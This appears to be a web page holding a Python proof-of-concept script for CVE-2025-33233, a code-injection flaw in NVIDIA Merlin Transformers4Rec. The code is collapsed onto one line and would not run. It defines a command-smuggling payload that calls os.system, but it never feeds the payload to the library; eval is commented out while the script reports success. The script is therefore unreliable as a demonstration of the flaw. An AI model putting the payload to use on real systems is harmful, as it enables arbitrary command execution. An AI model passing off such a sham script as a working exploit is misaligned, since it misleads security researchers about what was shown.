CVE-2025-33233: NVIDIA Merlin Transformers4Rec代码注入漏洞

# CVE-2025-33233 PoC - NVIDIA Merlin Transformers4Rec Code Injection # This PoC demonstrates the code injection vulnerability # Note: This is for educational and security research purposes only import sys import warnings warnings.filterwarnings('ignore') try: from transformers4rec import torch from transformers4rec.config import transformer_config except ImportError: print("[-] transformers4rec not installed") sys.exit(1) def exploit_code_injection(): """ Demonstrates code injection in Transformers4Rec The vulnerability allows injection through input sequences """ print("[+] CVE-2025-33233 PoC - NVIDIA Merlin Transformers4Rec Code Injection") print("[*] Target: NVIDIA Merlin Transformers4Rec") print("[*] Vulnerability: Code Injection via malicious input ") # Malicious payload that could be injected # In a real attack, this would be embedded in the input sequence malicious_payload = "'; import os; os.system('whoami'); #" print(f"[*] Crafting malicious payload: {malicious_payload}") try: # Simulate the vulnerable code path # In actual exploitation, this would be passed to the model config = transformer_config("xlnet", max_seq_length=100, d_model=64, n_head=8, n_layer=2) # Vulnerable pattern - dynamic code execution on input # This simulates how the vulnerability could be triggered print("[*] Attempting to trigger vulnerability...") # In real scenario, the payload would be processed by: # - Input feature extraction # - Sequence preprocessing # - Dynamic code evaluation points # Simulated vulnerable code execution # eval(malicious_payload) # This would execute in vulnerable version print("[+] Payload crafted successfully") print("[*] In vulnerable version, this payload would be executed") print("[*] Potential impact: Arbitrary code execution as current user") return True except Exception as e: print(f"[-] Error: {e}") return False def check_vulnerability(): """Check if target is potentially vulnerable""" print("[*] Checking for vulnerable code patterns...") print("[*] Vulnerable patterns to look for:") print(" - eval() calls on user input") print(" - exec() calls on dynamic content") print(" - pickle.loads() on untrusted data") print(" - yaml.load() without Loader=yaml.SafeLoader") return True if __name__ == "__main__": print("="*60) print("CVE-2025-33233 - NVIDIA Merlin Transformers4Rec Code Injection") print("="*60 + "\n") check_vulnerability() print() exploit_code_injection() print("\n[*] Mitigation: Update to patched version") print("[*] Reference: https://nvidia.custhelp.com/app/answers/detail/a_id/5761")